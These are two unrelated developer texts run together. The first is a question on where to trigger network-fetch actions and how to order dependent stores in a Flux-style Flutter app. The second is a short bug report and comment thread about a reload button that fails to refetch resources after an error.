In this design, the widget kicks off an action something like fetchMessages and the store listening to this action MessageStore receives a call to this action. In the action callback, this store kicks the network call that returns Future. In the then() callback of that Future, this store mutates it's own data and calls trigger() so that the original view that started this now receives a callback. Similarly, also in catchError of the same Future, this store calls trigger() with some other mutation that maintains error states.
In this design, I am not exactly sure where do I call action from the widget? In build or in initState?
My thinking is that in initState the widget will grab data from store but it will be null or empty initially, and build will render empty view but at the same time, kickstarts the cycle described above, which calls back to the widget later and the build function now has data to render, re-grabbed from store.
Do you think it is a good pattern? It still abides to Flux's unidirectional data flow and does not let store data to be manipulated in any way other than an action callback.

Actually thinking about it more made me realize it is definitely not the best idea to call this action from Widget's build function for various reasons

Flutter calls Widget's build multiple times during its lifetime and it is not ideal to do something as heavy as a network call every time build is called.
A way to overcome point 1 above is to guard it in some condition, but really what could be a better condition in this case? Either maintain flags that tell you if this call was previously made, if yes, do not make another call or check in the state and if data is null, make a call.
Using flags could get really messy really fast and then you have to be extremely careful flipping those at various places.
Checking in state for null or empty data isn't ideal either cause null or empty data could be legitimate, does not always mean that network call was never made.

I think the best approach would be that the store (MessageStore in this example) also listens to user auth state changes and as soon as the user is logged in, this store also receives an action callback and kickstarts the network fetch instead of waiting until widget does it. This approach works well in this case but also leaves a question, what if this store were to depend on some data from UserStore? Meaning that both UserStore and 'MessageStorelisten to same action callback but forMessageStoreto react to that action callback, it needs something fromUserStore. In this case how do you make sure that UserStorealways finishes its execution beforeMessageStore` starts its execution? I believe React's Flux has API waitFor()


Bug: Reload button not reloading the page

Describe the bug

Reload button not reloading if an error occurs while fetching resources
To Reproduce

It should reload the page and try to fetch resources again
Screenshots

How the screen looks like when such an error happens

Desktop (please complete the following information):

Smartphone (please complete the following information):

Additional context

can i work on this

Thanks for showing interest but someone already opened a PR for this issue
I'll let you know if the current one falls through

@Ngoakor12  i have solved the issue please check it and merge the PR